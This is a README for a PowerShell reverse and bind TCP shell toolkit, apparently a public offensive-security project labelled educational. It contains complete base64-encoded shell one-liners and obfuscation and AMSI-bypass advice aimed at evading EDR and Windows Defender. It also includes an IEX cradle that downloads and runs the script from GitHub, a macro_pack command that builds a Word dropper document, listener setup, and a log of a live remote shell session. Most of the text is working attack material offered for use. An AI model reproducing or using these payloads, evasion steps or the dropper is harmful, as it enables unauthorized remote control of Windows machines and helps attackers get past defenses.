PowerShell Reverse TCP

PowerShell scripts for communicating with a remote host.

• Invoke-Expression
• Process Pipes

The scripts have known signatures. You should consider obfuscating them.

Tested with PowerShell v5.1.19041.2673 on Windows 10 Enterprise OS (64-bit).

Made for educational purposes. I hope it will help!

Table of Contents

• How to Run
• Obfuscate PowerShell Scripts
  • PowerShell Encoded Command
  • SecureString
• AMSI Bypass
• MS Word Integration
• Set Up a Listener
• Runtime

How to Run

Change the IP address and port number inside the scripts as necessary.

Open PowerShell from \src\invoke_expression\original\ or \src\process_pipes\original\ and run the commands shown below.

Set the execution policy:

Set-ExecutionPolicy Unrestricted

Run the script:

.\powershell_reverse_tcp.ps1

Or, simply run the following command from either PowerShell or Command Prompt:

PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1

Obfuscate PowerShell Scripts

To bypass EDRs and other security mechanisms, try obfuscating the scripts as shown in the example below.

Original PowerShell command:

(New-Object Net.WebClient).DownloadFile($url, $out)

Obfuscated PowerShell command:

& (`G`C`M *ke-E*) '(& (`G`C`M *ew-O*) `N`E`T`.`W`E`B`C`L`I`E`N`T)."`D`O`W`N`L`O`A`D`F`I`L`E"($url, $out)'

Search the Internet for obfuscation tools such as Invoke-Obfuscation.

PowerShell Encoded Command

To generate a PowerShell encoded command from a PowerShell script, run the following PowerShell command:

[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script)))

To decode a PowerShell encoded command, run the following PowerShell command:

[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($command))

Use the one-liners below if you don't want to leave any artifacts behind during an offensive security engagement.

[Reverse TCP - Invoke-Expression] To pass parameters to the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:

PowerShell -Command "'127.0.0.1', '9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwAgAGkAZgAgACgALQBuAG8AdAAgACQAYQApACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEEAZABkAHIAZQBzAHMAIABpAHMAIAByAGUAcQB1AGkAcgBlAGQAIgA7ACAAZQB4AGkAdAAgADEAOwAgAH0AIAAkAHAAIAA9ACAAJAAoAFIAZQBhAGQALQBIAG8AcwB0ACAALQBQAHIAbwBtAHAAdAAgACIARQBuAHQAZQByACAAcABvAHIAdAAgAG4AdQBtAGIAZQByACIAKQAuAFQAcgBpAG0AKAApADsAIABpAGYAIAAoAC0AbgBvAHQAIAAkAHAAKQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AcgB0ACAAbgB1AG0AYgBlAHIAIABpAHMAIAByAGUAcQB1AGkAcgBlAGQAIgA7ACAAZQB4AGkAdAAgADEAOwAgAH0AIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AdwBlAHIAUwBoAGUAbABsACAAUgBlAHYAZQByAHMAZQAgAFQAQwBQACAAdgA1AC4AMAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAuACIAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEcAaQB0AEgAdQBiACAAcgBlAHAAbwBzAGkAdABvAHIAeQAgAGEAdAAgAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBpAHYAYQBuAC0AcwBpAG4AYwBlAGsALwBwAG8AdwBlAHIAcwBoAGUAbABsAC0AcgBlAHYAZQByAHMAZQAtAHQAYwBwAC4AIgA7ACAAJABiACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABCAHkAdABlAFsAXQAgADEAMAAyADQAOwAgACQAZAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgACQAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAHQAcgB5ACAAewAgACQAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABjAHAAQwBsAGkAZQBuAHQAKAAkAGEALAAgACQAcAApADsAIAAkAHMAIAA9ACAAJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwA7ACAAJAB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwAsACAAJABlACwAIAAkAGIALgBMAGUAbgBnAHQAaAApADsAIAAkAHcALgBBAHUAdABvAEYAbAB1AHMAaAAgAD0AIAAkAHQAcgB1AGUAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAYQBjAGsAZABvAG8AcgAgAGkAcwAgAHUAcAAgAGEAbgBkACAAcgB1AG4AbgBpAG4AZwAuAC4ALgAiADsAIABkAG8AIAB7ACAAJAB3AC4AVwByAGkAdABlACgAIgBQAFMAPgAiACkAOwAgAFsAdgBvAGkAZABdACQAZAAuAEMAbABlAGEAcgAoACkAOwAgAGQAbwAgAHsAIAAkAGIAeQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApADsAIABpAGYAIAAoACQAYgB5ACAALQBnAHQAIAAwACkAIAB7ACAAWwB2AG8AaQBkAF0AJABkAC4AQQBwAHAAZQBuAGQAKAAkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsACAAMAAsACAAJABiAHkAKQApADsAIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABzAC4ARABhAHQAYQBBAHYAYQBpAGwAYQBiAGwAZQApADsAIABpAGYAIAAoACQAZAAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAWwB2AG8AaQBkAF0AJAByAC4AQwBsAGUAYQByACgAKQA7ACAAdAByAHkAIAB7ACAAWwB2AG8AaQBkAF0AJAByAC4AQQBwAHAAZQBuAGQAKAAkACgASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAALQBDAG8AbQBtAGEAbgBkACAAJABkAC4AVABvAFMAdAByAGkAbgBnACgAKQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwApACkAOwAgAH0AIABjAGEAdABjAGgAIAB7ACAAWwB2AG8AaQBkAF0AJAByAC4AQQBwAHAAZQBuAGQAKAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAKQA7ACAAfQAgACQAdwAuAFcAcgBpAHQAZQAoACQAcgAuAFQAbwBTAHQAcgBpAG4AZwAoACkAKQA7ACAAfQAgAH0AIAB3AGgAaQBsAGUAIAAoACQAYgB5ACAALQBnAHQAIAAwACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAYQBjAGsAZABvAG8AcgAgAHcAaQBsAGwAIABuAG8AdwAgAGUAeABpAHQALgAuAC4AIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBFAFIAUgBPAFIAOgAgACQAKAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAKQAiADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAdwApACAAewAgACQAdwAuAEMAbABvAHMAZQAoACkAOwAgACQAdwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAAiAHcAIgA7ACAAfQAgAGkAZgAgACgAJABzACkAIAB7ACAAJABzAC4AQwBsAG8AcwBlACgAKQA7ACAAJABzAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgACIAcwAiADsAIAB9ACAAaQBmACAAKAAkAGMAKQAgAHsAIAAkAGMALgBDAGwAbwBzAGUAKAApADsAIAAkAGMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAIgBjACIAOwAgAH0AIABbAHYAbwBpAGQAXQAkAGIALgBDAGwAZQBhAHIAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAAiAGIAIgA7ACAAWwB2AG8AaQBkAF0AJABkAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAIgBkACIAOwAgAFsAdgBvAGkAZABdACQAcgAuAEMAbABlAGEAcgAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgACIAcgAiADsAIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgACIAYQAiADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAAiAHAAIgA7AAoA

[Reverse TCP - Process Pipes] To pass parameters to the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:

PowerShell -Command "'127.0.0.1', '9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwAgAGkAZgAgACgALQBuAG8AdAAgACQAYQApACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEEAZABkAHIAZQBzAHMAIABpAHMAIAByAGUAcQB1AGkAcgBlAGQAIgA7ACAAZQB4AGkAdAAgADEAOwAgAH0AIAAkAHAAIAA9ACAAJAAoAFIAZQBhAGQALQBIAG8AcwB0ACAALQBQAHIAbwBtAHAAdAAgACIARQBuAHQAZQByACAAcABvAHIAdAAgAG4AdQBtAGIAZQByACIAKQAuAFQAcgBpAG0AKAApADsAIABpAGYAIAAoAC0AbgBvAHQAIAAkAHAAKQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AcgB0ACAAbgB1AG0AYgBlAHIAIABpAHMAIAByAGUAcQB1AGkAcgBlAGQAIgA7ACAAZQB4AGkAdAAgADEAOwAgAH0AIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AdwBlAHIAUwBoAGUAbABsACAAUgBlAHYAZQByAHMAZQAgAFQAQwBQACAAdgA1AC4AMAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAuACIAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEcAaQB0AEgAdQBiACAAcgBlAHAAbwBzAGkAdABvAHIAeQAgAGEAdAAgAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBpAHYAYQBuAC0AcwBpAG4AYwBlAGsALwBwAG8AdwBlAHIAcwBoAGUAbABsAC0AcgBlAHYAZQByAHMAZQAtAHQAYwBwAC4AIgA7ACAAdAByAHkAIAB7ACAAJABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdAAoACQAYQAsACAAJABwACkAOwAgACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgACQAcAByAG8AYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwA7ACAAJABwAHIAbwBjAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsACIAOwAgACQAcAByAG8AYwAuAFMAdABhAHIAdABJAG4AZgBvAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAIAA9ACAAJABmAGEAbABzAGUAOwAgACQAcAByAG8AYwAuAFMAdABhAHIAdABJAG4AZgBvAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABJAG4AcAB1AHQAIAA9ACAAJAB0AHIAdQBlADsAIAAkAHAAcgBvAGMALgBTAHQAYQByAHQASQBuAGYAbwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAIAA9ACAAJAB0AHIAdQBlADsAIAAkAHAAcgBvAGMALgBTAHQAYQByAHQASQBuAGYAbwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQARQByAHIAbwByACAAPQAgACQAdAByAHUAZQA7ACAAWwB2AG8AaQBkAF0AJABwAHIAbwBjAC4AUwB0AGEAcgB0ACgAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQgBhAGMAawBkAG8AbwByACAAaQBzACAAdQBwACAAYQBuAGQAIAByAHUAbgBuAGkAbgBnAC4ALgAuACIAOwAgAGkAZgAgACgAIQAkAHAAcgBvAGMALgBIAGEAcwBFAHgAaQB0AGUAZAApACAAewAgACQAYgB5ACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAIgBTAE8AQwBLAEUAVAA6ACAAUwBoAGUAbABsACAAaABhAHMAIABjAG8AbgBuAGUAYwB0AGUAZAAhACAAUABJAEQAOgAgACQAKAAkAHAAcgBvAGMAZQBzAHMALgBJAGQAKQBgAG4AIgApADsAIAAkAHMALgBXAHIAaQB0AGUAKAAkAGIAeQAsACAAMAAsACAAJABiAHkALgBMAGUAbgBnAHQAaAApADsAIAAkAHQAIAA9ACAAQAAoACAAJABzAC4AQwBvAHAAeQBUAG8AQQBzAHkAbgBjACgAJABwAHIAbwBjAC4AUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAuAEIAYQBzAGUAUwB0AHIAZQBhAG0ALAAgADEAMAAyADQAKQA7ACAAJABwAHIAbwBjAC4AUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0AC4AQgBhAHMAZQBTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvAEEAcwB5AG4AYwAoACQAcwAsACAAMQAwADIANAApADsAIAAkAHAAcgBvAGMALgBTAHQAYQBuAGQAYQByAGQARQByAHIAbwByAC4AQgBhAHMAZQBTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvAEEAcwB5AG4AYwAoACQAcwAsACAAMQAwADIANAApADsAIAApADsAIABbAHYAbwBpAGQAXQBbAFQAaAByAGUAYQBkAGkAbgBnAC4AVABhAHMAawBzAC4AVABhAHMAawBdADoAOgBXAGEAaQB0AEEAbgB5ACgAJAB0ACkAOwAgAH0AIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIAB3AGkAbABsACAAbgBvAHcAIABlAHgAaQB0AC4ALgAuACIAOwAgAH0AIABjAGEAdABjAGgAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIARQBSAFIATwBSADoAIAAkACgAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlACkAIgA7ACAAfQAgAGYAaQBuAGEAbABsAHkAIAB7ACAAaQBmACAAKAAkAHAAcgBvAGMAKQAgAHsAIAAkAHAAcgBvAGMALgBDAGwAbwBzAGUAKAApADsAIAAkAHAAcgBvAGMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAIgBwAHIAbwBjACIAOwAgAH0AIABpAGYAIAAoACQAcwApACAAewAgACQAcwAuAEMAbABvAHMAZQAoACkAOwAgACQAcwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAAiAHMAIgA7ACAAfQAgAGkAZgAgACgAJABjACkAIAB7ACAAJABjAC4AQwBsAG8AcwBlACgAKQA7ACAAJABjAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgACIAYwAiADsAIAB9ACAAWwBHAEMAXQA6ADoAQwBvAGwAbABlAGMAdAAoACkAOwAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAAiAGEAIgA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAIgBwACIAOwAKAA==

[Bind TCP - Invoke-Expression] To pass parameters to the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:

PowerShell -Command "'9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABwACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAiACkALgBUAHIAaQBtACgAKQA7ACAAaQBmACAAKAAtAG4AbwB0ACAAJABwACkAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUABvAHIAdAAgAG4AdQBtAGIAZQByACAAaQBzACAAcgBlAHEAdQBpAHIAZQBkACIAOwAgAGUAeABpAHQAIAAxADsAIAB9ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUABvAHcAZQByAFMAaABlAGwAbAAgAEIAaQBuAGQAIABUAEMAUAAgAHYANQAuADAAIABiAHkAIABJAHYAYQBuACAAUwBpAG4AYwBlAGsALgAiADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBHAGkAdABIAHUAYgAgAHIAZQBwAG8AcwBpAHQAbwByAHkAIABhAHQAIABnAGkAdABoAHUAYgAuAGMAbwBtAC8AaQB2AGEAbgAtAHMAaQBuAGMAZQBrAC8AcABvAHcAZQByAHMAaABlAGwAbAAtAHIAZQB2AGUAcgBzAGUALQB0AGMAcAAuACIAOwAgACQAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAIAAkAGQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByADsAIAAkAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBXAGEAaQB0AGkAbgBnACAAZgBvAHIAIABjAGwAaQBlAG4AdAAgAHQAbwAgAGMAbwBuAG4AZQBjAHQALgAuAC4AIgA7ACAAdAByAHkAIAB7ACAAJABsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABMAGkAcwB0AGUAbgBlAHIAKAAiADAALgAwAC4AMAAuADAAIgAsACAAJABwACkAOwAgACQAbAAuAFMAdABhAHIAdAAoACkAOwAgACQAYwAgAD0AIAAkAGwALgBBAGMAYwBlAHAAdABUAGMAcABDAGwAaQBlAG4AdAAoACkAOwAgACQAbAAuAFMAdABvAHAAKAApADsAIAAkAHMAIAA9ACAAJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwA7ACAAJAB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwAsACAAJABlACwAIAAkAGIALgBMAGUAbgBnAHQAaAApADsAIAAkAHcALgBBAHUAdABvAEYAbAB1AHMAaAAgAD0AIAAkAHQAcgB1AGUAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEMAbABpAGUAbgB0ACAAaABhAHMAIABjAG8AbgBuAGUAYwB0AGUAZAAhACIAOwAgAGQAbwAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAiAFAAUwA+ACIAKQA7ACAAWwB2AG8AaQBkAF0AJABkAC4AQwBsAGUAYQByACgAKQA7ACAAZABvACAAewAgACQAYgB5ACAAPQAgACQAcwAuAFIAZQBhAGQAKAAkAGIALAAgADAALAAgACQAYgAuAEwAZQBuAGcAdABoACkAOwAgAGkAZgAgACgAJABiAHkAIAAtAGcAdAAgADAAKQAgAHsAIABbAHYAbwBpAGQAXQAkAGQALgBBAHAAcABlAG4AZAAoACQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiACwAIAAwACwAIAAkAGIAeQApACkAOwAgAH0AIAB9ACAAdwBoAGkAbABlACAAKAAkAHMALgBEAGEAdABhAEEAdgBhAGkAbABhAGIAbABlACkAOwAgAGkAZgAgACgAJABkAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAKQAgAHsAIABbAHYAbwBpAGQAXQAkAHIALgBDAGwAZQBhAHIAKAApADsAIAB0AHIAeQAgAHsAIABbAHYAbwBpAGQAXQAkAHIALgBBAHAAcABlAG4AZAAoACQAKABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAtAEMAbwBtAG0AYQBuAGQAIAAkAGQALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACkAKQA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABbAHYAbwBpAGQAXQAkAHIALgBBAHAAcABlAG4AZAAoACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQApADsAIAB9ACAAJAB3AC4AVwByAGkAdABlACgAJAByAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABiAHkAIAAtAGcAdAAgADAAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQwBsAGkAZQBuAHQAIABoAGEAcwAgAGQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkACEAIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBFAFIAUgBPAFIAOgAgACQAKAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAKQAiADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAdwApACAAewAgACQAdwAuAEMAbABvAHMAZQAoACkAOwAgACQAdwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAAiAHcAIgA7ACAAfQAgAGkAZgAgACgAJABzACkAIAB7ACAAJABzAC4AQwBsAG8AcwBlACgAKQA7ACAAJABzAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgACIAcwAiADsAIAB9ACAAaQBmACAAKAAkAGMAKQAgAHsAIAAkAGMALgBDAGwAbwBzAGUAKAApADsAIAAkAGMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAIgBjACIAOwAgAH0AIABpAGYAIAAoACQAbAApACAAewAgACQAbAAuAFMAZQByAHYAZQByAC4AQwBsAG8AcwBlACgAKQA7ACAAJABsAC4AUwBlAHIAdgBlAHIALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAIgBsACIAOwAgAH0AIABbAHYAbwBpAGQAXQAkAGIALgBDAGwAZQBhAHIAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAAiAGIAIgA7ACAAWwB2AG8AaQBkAF0AJABkAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAIgBkACIAOwAgAFsAdgBvAGkAZABdACQAcgAuAEMAbABlAGEAcgAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgACIAcgAiADsAIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgACIAcAAiADsACgA=

SecureString

To generate a PowerShell SecureString from a PowerShell script, run the following PowerShell command:

ConvertFrom-SecureString -k (0..15) (ConvertTo-SecureString (Get-Content -Path $script -Raw) -AsPlainText -Force)

To decode and run a PowerShell SecureString, run the following PowerShell command:

IEX((New-Object System.Net.NetworkCredential("", (ConvertTo-SecureString -k (0..15) $string))).Password)

Most EDRs will flag a PowerShell script as malicious if the script uses & symbol excessively.

AMSI Bypass

If Windows Defender is blocking your PowerShell script or encoded command, generate an AMSI bypass from AMSI.fail and run it in your PowerShell session.

After running the AMSI bypass code, you can download your PowerShell script from the web using the following one-liner:

IEX([System.IO.StreamReader]::New([System.Net.WebRequest]::Create('https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/refs/heads/master/src/invoke_expression/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1').GetResponse().GetResponseStream()).ReadToEnd());

MS Word Integration

To embed a PowerShell script into an MS Word document, check macro_pack tool.

Run the following command from either PowerShell or Command Prompt:

echo "https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/refs/heads/master/src/invoke_expression/original/powershell_reverse_tcp.ps1" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc

Set Up a Listener

To set up a listener, open your preferred console on Kali Linux and run one of the examples below.

Set up ncat listener:

ncat -nvlp 9000

Set up multi/handler listener:

msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.8.185

set LPORT 9000

exploit

Runtime

┌──(root💀kali)-[~]
└─# ncat -nvlp 9000
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9000
Ncat: Listening on 0.0.0.0:9000
Ncat: Connection from 192.168.1.109.
Ncat: Connection from 192.168.1.109:50418.
PS>Get-Host


Name             : ConsoleHost
Version          : 5.1.19041.2673
InstanceId       : 3d17d7be-e720-4f39-93a2-cf509887f57a
UI               : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture   : hr-HR
CurrentUICulture : en-US
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled  : True
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace



PS>